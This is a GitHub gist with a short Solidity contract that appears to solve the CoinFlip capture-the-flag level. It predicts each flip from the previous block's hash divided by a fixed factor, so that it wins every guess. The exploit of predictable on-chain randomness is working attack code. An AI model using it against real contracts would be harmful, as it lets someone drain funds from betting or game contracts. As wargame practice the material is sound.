Skip to content

Instantly share code, notes, and snippets.

@jmcph4
Created June 22, 2023 00:57
Show Gist options
  • Select an option

  • Save jmcph4/90b4031cb52c4c75bbc4b83083bbd0ea to your computer and use it in GitHub Desktop.

Select an option

Save jmcph4/90b4031cb52c4c75bbc4b83083bbd0ea to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "src/CoinFlip.sol";
contract Frontend {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function step(CoinFlip flipper) public returns (uint256) {
require(
flipper.flip(
uint256(
blockhash(
block.number - 1
)
) / FACTOR == 1 ? true : false),
"not submitting incorrect guess"
);
return flipper.consecutiveWins();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment